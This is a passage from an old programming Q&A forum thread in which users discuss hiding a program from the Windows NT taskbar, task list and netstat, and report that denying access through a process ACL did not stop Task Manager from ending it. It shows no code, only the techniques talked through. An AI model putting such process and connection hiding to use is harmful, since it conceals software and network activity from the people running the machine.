In the meanwhile I managed to "install" my own ACL (which denies every access) on my process by using the SetKernelObjectSecurity API, but guess what: Windows doesn't bother about that. The tasklist can still terminate me... :-(( Perhaps it would work with Services, don't know...
|
Comment from Madshi
|
08/05/1999 04:44AM PST
|
menorcanet, what shall we do with this question now?
|
Comment from bryan7
|
08/05/1999 05:30AM PST
|
well.. at least we can hide it from the task bar in NT,. can't we ? that's ok then..
there's only left about Netstat now..
I've decided to give 400p to you and the other 100p for who comes up with the netstat thing.. or 500p to you if you get the solution for netstat..
I can also repart 100 more p. between the others who helped with the task bar and ctr+alt+del hiding..
I'll grade the answer with an A
;)
|
Comment from Madshi
|
08/05/1999 07:11AM PST
|
Hi bryan, is menorcanet your twin brother? :-)
Sorry, I don't even know what Netstat is, so I really can't help you with that.
|
Comment from bryan7
|
08/05/1999 09:00AM PST
|
hey.. that's my job account.. I said it in some comment above..
about netstat.. when u r connected to internet do this: go to MSDOS and type:
NETSTAT -N
|
Comment from Madshi
|
08/05/1999 09:43AM PST
|
Well, seems that I missed the comment with the job account... :-)
No, sorry, no idea how to hide yourself from NetStat. :-(
|
Comment from bryan7
|
08/05/1999 09:47AM PST
|
it should be something like catching when a program wants to see all the opened connections.. and hide the connection my program has..
|
Comment from menorcanet
|
08/08/1999 12:27PM PST
|
Madshi.. have you been able to do that about the ACL's to avoid terminating my program ?
I'll give the 500p to you..
vik.. tell me a reasonable amount of points for you and I'll post another q. for you to get the points..
|
Comment from viktornet
|
08/08/1999 02:43PM PST
|
hmm.. I didn't expect to get any points from this question so whatever you think I deserve, post a question for me with that amount. Thank you!
..-=ViKtOr=-..
|
Comment from menorcanet
|
08/08/1999 04:13PM PST
|
hmm.. 50p ... ( with an A grade ).. I'll post it wight now
|
Comment from viktornet
|
08/08/1999 05:02PM PST
|
Sounds good, thanks!
..-=ViKtOr=-..
|
Comment from Madshi
|
08/09/1999 12:08AM PST
|
Hi Bryan, I got it working to modify the ACL of my process, but it didn't help. It seems that the taskmanager doesn't bother about the ACL... :-((
|
Comment from menorcanet
|
08/09/1999 03:49AM PST
|
well.. ok
|
Comment from Madshi
|
08/12/1999 04:04PM PST
|
Thanx for pushing me back to #2... :-)
|
|